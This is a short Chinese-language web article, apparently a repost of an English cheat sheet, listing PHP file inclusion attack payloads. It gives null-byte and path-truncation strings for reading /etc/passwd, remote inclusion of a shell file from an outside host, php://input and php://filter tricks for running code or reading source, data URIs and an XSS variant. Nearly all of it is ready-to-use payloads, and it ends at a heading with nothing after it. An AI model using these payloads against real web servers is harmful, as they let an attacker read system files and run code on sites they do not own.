文章简单的分析了在php文件包含时inlcude的一个漏洞分析,下面希望对大家有点用处哦。
基本的文件包含漏洞:
代码如下
* 空字符注入(null byte injection):
?file=../../../../../../../../../etc/passwd%00
(需要magic_quotes_gpc=off)
* 列目录(null byte injection):
?file=../../../../../../../../../var/www/accounts/%00
(仅限bsd, 需要magic_quotes_gpc=off,详细信息here)
*路径截断(path truncation):
?file=../../../../../../../../../etc/passwd……….. …
(详细信息参见 here 和 here)
* 点号截断:
?file=../../../../../../../../../etc/passwd……………. …
(仅限windows, 更多细节参见 here)
基本的远程文件包含:
代码如下
* 包含远程代码(including remote code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=on 和 allow_url_include=on)
* 使用php输入流(using php stream php://input):
?file=php://input
(specify your payload in the post parameters, watch urlencoding, details here, requires allow_url_include=on)
* 使用php过滤函数(using php stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read php source because it wont get evaluated in base64. more details here and here)
* using data uris:
?file=data://text/plain;base64,ssbsb3zlifbiuao=
(需要 allow_url_include=on)
* 用于跨站脚本攻击(using xss):
代码如下
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(makes sense if firewalled or only whitelisted domains allowed)
受限的远程文件包含漏洞
代码如下